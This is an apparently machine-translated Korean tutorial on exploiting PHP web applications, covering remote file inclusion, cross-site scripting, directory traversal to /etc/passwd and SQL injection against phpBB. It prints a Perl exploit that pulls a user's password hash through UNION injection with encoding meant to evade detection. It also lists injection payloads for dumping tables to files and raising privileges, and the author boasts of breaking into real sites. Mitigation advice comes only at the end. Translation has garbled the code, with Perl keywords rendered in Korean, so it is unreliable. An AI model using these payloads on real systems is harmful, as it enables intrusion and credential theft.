현재 네트워크 보안으로 볼 때 모두가 가장 우려하고 가장 많이 노출되는 WEB 페이지 취약점은 ASP일 것입니다. 이에 대해 Xiaozhu는 전문가이며 PHP의 관점에서는 말할 수 없습니다. 매우 심각한 보안 취약점이기도 합니다. 문제가 있지만 이 분야에 대한 기사가 많지 않습니다. 여기서는 PHP 페이지의 관련 취약점에 대해 간략하게 설명하겠습니다.
현재 일반적인 PHP 취약점을 요약했는데, 이는 파일 취약점, 스크립트 명령 실행 취약점, 파일 누출 취약점, SQL 주입 취약점 등을 포함하여 대략 다음 범주로 나뉩니다. 물론 다음과 같은 몇 가지 일반적인 기술에 대해서도 마찬가지입니다. COOKIE 스푸핑, 여기서는 다루지 않겠습니다. 온라인에 많은 정보가 있으므로, 이러한 취약점을 악용하는 방법을 하나씩 분석해 보겠습니다.
먼저, 포함된 파일 취약점에 대해 논의해 보겠습니다. 이 취약점은 외부에서 제공되는 악성 데이터의 처리가 충분하지 않기 때문에 발생하며, 이로 인해 원격 공격자가 이러한 취약점을 악용하여 WEB 프로세스로 시스템에서 임의의 명령을 실행할 수 있습니다. 예를 살펴보겠습니다. a.php에 다음과 같은 코드가 있다고 가정합니다.
<?php
include($include."/xxx.php\");
?>
이 코드에서 $include는 일반적으로 설정된 경로이지만, 예를 들어 a.php?include=http://web/b와 같이 제출하면 경로를 직접 구성하여 공격 목적을 달성할 수 있습니다. .php, 이 웹은 우리가 공격하는 데 사용하는 공간입니다. 물론 b.php는 우리가 공격하는 데 사용하는 코드입니다. passthru("/bin/ls /etc ") ; 이러한 방식으로 일부 의도적인 공격을 수행할 수 있습니다. (참고: 웹 서버는 PHP 코드를 실행할 수 없어야 합니다. 그렇지 않으면 문제가 발생합니다. 관련 세부 정보는 < < 일반적인 취약점을 처리하는 방법을 참조하세요. PHP 프로그램 공격 >>)에는 PayPal Store Front와 같은 많은 문제가 있습니다.
HotNews, Mambo 오픈 소스, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart 등.
다음으로, 스크립트 명령 실행 취약점을 살펴보겠습니다. 이는 사용자가 제출한 URI 매개변수에 대한 충분한 필터링이 부족하기 때문입니다. 악성 HTML 코드가 포함된 데이터를 제출하면 크로스 사이트 스크립팅 공격이 발생할 수 있으며, 해당 시스템의 민감한 정보를 얻을 수 있습니다. 대상 사용자. 예를 들어 보겠습니다. PHP Transparent PHP 4.3.1 이하의 index.php 페이지에는 PHPSESSID에 대한 필터링이 충분하지 않습니다. 이러한 코드를 통해 공격 목적을 달성할 수 있습니다.
http://web/index.php?PHPSESSID="><script>...</script >스크립트에서는 사용자의 민감한 정보를 얻기 위한 함수를 구성할 수 있습니다. 이와 관련하여 취약점은 다음과 같습니다. PHP Transparent 외에도 PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board 등이 있습니다.
그런 다음 파일 공개 취약점을 살펴보겠습니다. 이 취약점은 사용자가 제출한 매개변수에 대한 충분한 필터링이 부족하기 때문에 발생합니다. 원격 공격자는 이를 사용하여 디렉터리 탐색 공격을 수행하고 일부 민감한 정보를 얻을 수 있습니다. 최근에 발견된 phpMyAdmin을 예로 들어 보겠습니다. phpMyAdmin에서 내보내기.php 페이지는 사용자가 제출한 'what' 매개변수를 완전히 필터링하지 않습니다. 원격 공격자는 여러 '../' 문자가 포함된 데이터를 제출하여 이를 우회할 수 있습니다. WEB ROOT 제한을 극복하고 WEB 권한으로 시스템의 모든 파일 정보를 봅니다. 예를 들어, 다음과 같은 주소를 입력하면:export.php?what=../../../../../../etc/passwd%00 이런 점에서 파일 유출 목적을 달성할 수 있습니다. 상대적으로 myPHPNuke, McNews 등이 더 있습니다.
마지막으로 가장 흥미로운 부분으로 돌아왔습니다. ASP 페이지에서 SQL 주입을 사용하는 것이 얼마나 재미있는지 생각해 보세요. 과거에는 Xiaozhu가 "SQL 주입 비밀 책"을 깨달을 때까지 수동으로 주입해야 했습니다(헤헤). NBSI를 개발한 후 우리의 NB Alliance는 CSDN, Monopoly Forum, China Channel 및 기타 대규모 웹사이트에서 허점을 찾는 데 큰 변화를 가져왔습니다. .. ) 주제로 돌아가서 실제로 ASP의 SQL 주입은 PHP의 SQL 주입과 거의 동일합니다. 단지 asc를 ASCII로, len을 LENGTH로 변경하면 됩니다. 사실 모든 사람들이 PHP에서 SQL 주입을 보면 PHP-NUKE와 PHPBB를 생각합니까? 그렇습니다. ASP 세계에서는 동왕과 같은 포럼이 허점의 왕이 되어야 합니다. 포럼의 보안이 너무 열악하다는 것이 아니라 너무 잘 알려져 있다는 것입니다. 더 많은 사람들이 이를 사용할수록 더 많은 사람들이 연구를 하고 더 많은 보안 허점이 발견될 것입니다. 현재 매우 인기가 높은 PHP를 사용하여 포럼을 구축할 때 일반적으로 PHPBB를 선택합니다. phpBB.com의 phpBB 1.4.0 버전부터 최근 phpBB 2.0까지 취약점도 지속적으로 나타나고 있습니다. groupcp .php의 .6 버전과 이전에 발견된 search.php, profile.php, viewtopic.php 등이 합쳐져 약 12개가 되었습니다. 이로 인해 일부 사람들은 PHP 취약점을 연구할 때 항상 이를 실험적인 제품으로 사용하게 되었습니다. . 연습이 당신을 완벽하게 만든다는 말처럼 PHPBB는 앞으로 점점 더 좋아질 것이라고 믿습니다.
자, viewtopic.php 페이지를 예로 들어 분석해 보겠습니다. viewtopic.php 호출 시 "topic_id"는 GET 요청에서 직접 가져와서 SQL 쿼리 명령으로 전달되며, 일부 필터링을 거치지 않습니다. , 공격자는 MD5 비밀번호를 얻기 위해 특별한 SQL 문자열을 제출할 수 있습니다. 이 비밀번호 정보는 자동 로그인이나 무차별 대입 크래킹에 사용될 수 있습니다. (특별히 중요한 이유가 없는 한 누구도 무차별 대입 크래킹을 하고 싶어하지 않을 것이라고 생각합니다.) 관련 소스 코드를 먼저 살펴보겠습니다.
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
위에서 보면 제출된 view=newest 및 sid가 값으로 설정되면 실행된 쿼리 코드가 다음과 같은 모습을 볼 수 있습니다. (PHPBB 소스 코드를 아직 보지 못했다면 읽어보고 여기로 오시기 바랍니다. 영향을 받는 시스템은 phpBB 2.0.5 및 phpBB 2.0.4입니다.
# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# 여기서 s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick은 다음 테스트 코드를 제공했습니다:
use IO::Socket;
$remote = 시프트 || '로컬호스트';
$view_topic = 이동 || '/phpBB2/viewtopic.php';
$uid = 시프트 ||
$ 포트 = 80;
$dbtype = 'mysql4'; # mysql4 또는 pgsql
print "uid $uid server $remote dbtype: $dbtypen"에 대한 비밀번호 해시를 가져오는 중입니다.
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
피어포트 => $포트,
프로토 => "tcp",
유형 => SOCK_STREAM)
아니면 "$remote:$port :$@n"에 연결할 수 없습니다.
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . " HTTP/1.0nn"
$socket $str을 인쇄합니다;
print $socket "Cookie: phpBB2mysql_sid=1n"; # pgsql용으로 바꾸거나 제거합니다.
$socket "호스트: $remotenn" 인쇄;
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # 위치와 일치: viewtopic.php?p=<num>#<num> {
$p .= 문자();
}
}
닫기($소켓);
}
"nuid $uid에 대한 MD5 해시는 $pn"입니다.
# 무작위 인코딩 문자열은 감지를 방지하는 데 도움이 됩니다.
하위 무작위_인코드 {
$str = 시프트;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = 하위 문자열($str,$i,1);
$j = 랜드 길이($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} 또 다른 {
$ret .= $c;
}
}
$ret를 반환합니다;
}
하위 make_dbsql {
if ($dbtype eq 'mysql4') {
return " Union select ord(substring(user_password," . $index . ",1)) from phpbb_users 여기서 user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
"를 반환하고 ascii(substring(1에 대한 $index의 user_password))를 phpbb_posts p의 post_id로 선택하고, phpbb_users u 여기서 u.user_id=$uid 또는 false";
} 또 다른 {
반품 "";
}
}
이 깨진 코드에 대해서는 자세히 설명하지 않겠습니다. HASH 값을 얻는 기능입니다.
이것을 보면 앞서 언급한 수정된 기능이 왜 사용되지 않는지에 대해 몇 가지 의문이 생길 수 있습니다. 나는 사람들에게 말할 때 웃기는 것을 두려워하지 않습니다. 실제로 인터넷의 많은 사이트의 일부 페이지의 쿼리 문은 다음과 같습니다. 이와 같이:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
웃지 마세요. 저는 이것을 여러 대형 웹사이트에 액세스하는 데 사용했습니다. 어떤 웹사이트인지는 알 수 없지만 우리 학교 웹사이트에서는 이것을 사용하여 백엔드에 액세스했습니다. 안보임) 이 글은 ^_^) 이전 기능을 이용하세요. 그렇지 않으면 다른 사람의 비밀번호를 변경해야 합니다!!!
SQL 인젝션에 있어서 PHP는 ASP와 다르다는 사실을 거의 잊어버렸습니다. MySQL은 SQL 문을 사용하는 데 있어서 MSSQL만큼 유연하지 않습니다. 따라서 MSSQL에서 사용할 수 있는 많은 쿼리 문이 일반적으로 MySQL 데이터베이스에서 작동하지 않습니다. 일반적인 주입 문은 다음과 같습니다: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt' /*추가로 다음과 같이 변경될 수 있습니다: aaa.php? id=a' 또는 1=1 Union select id,name,password 사용자를 outfile 'c:/a.txt로 저장합니다. 이렇게 하면 데이터베이스 데이터를 파일로 내보낸 다음 볼 수 있습니다.
또는 다음과 같습니다: mode=',user_level='4
이 문은 일반적으로 데이터를 수정할 때 사용됩니다. 페이지에 취약점이 있는 경우 권한을 높이는 효과를 얻을 수 있습니다.
' OR 1=1 -- 또는: 1' 또는 1='1과 같은 다른 것들은 asp와 유사합니다. 여기서는 자세히 설명하지 않겠습니다. PHP에서는 SQL 주입이 가장 큰 취약점인 것 같습니다. 이것이 문제입니다.
실제로 위 분류의 이유는 단 하나입니다. 제출된 매개변수가 필터링되지 않았거나 필터링이 충분히 엄격하지 않았기 때문입니다. 해커의 방어선은 항상 공격적이고 방어적이었습니다. 여기서는 예방에 대해 이야기해 보겠습니다.
개인적
으로 가장 중요하다고 생각합니다. 가장 중요한 것은 Magic_quotes_gpc를 ON으로 설정하는 것입니다. 그 기능은 작은따옴표, 큰따옴표, 백슬래시 및 널 문자를 다음과 같이 백슬래시가 포함된 문자로 변환하는 것입니다. select * from admin where 사용자 이름='$username' 및 비밀번호 ='$password' 문, 공격자는 확인을 건너뛰기 위해 1' 또는 1='1을 사용하려고 하지만 해당 문자열은 다음으로 변환됩니다: select * from admin where 삽입 방지 목적을 달성하려면 사용자 이름='a' 및 비밀번호='1' 또는 1='1'입니다. 실제로 addlashes() 작업이 자동으로 수행되지 않으면 자체 함수를 정의하십시오. 이제 myslq4 이하의 버전은 하위 설명을 지원하지 않고 mysql의 새 버전에서는 Magic_quotes_gpc 옵션이 기본적으로 켜져 있기 때문에 PHP 주입에 참여하는 사람들도 상대적으로 우울해 보입니다.
인클루드 파일 취약점을 해결하는 방법은 프로그래머에게 인클루드 파일의 매개 변수에 변수를 사용하지 않도록 요청하는 것이며, 변수를 사용할 경우에는 포함할 파일 이름을 엄격하게 확인해야 하며 사용자가 임의로 지정해서는 안 됩니다. global_variables를 끄기로 설정하는 것이 좋습니다. 예를 들어 이전 파일 열기에서 PHP 작업 경로를 제한하는 것은 필수 옵션입니다. 또한, 특별히 필요한 경우가 아니면 반드시 PHP의 원격 파일 열기 기능을 꺼두시기 바랍니다. php.ini 파일을 수정합니다:allow_url_fopen = Off(참고: <<PHP 보안 문제: 원격 오버플로, DoS, Safe_mode 우회 취약점>> 참조).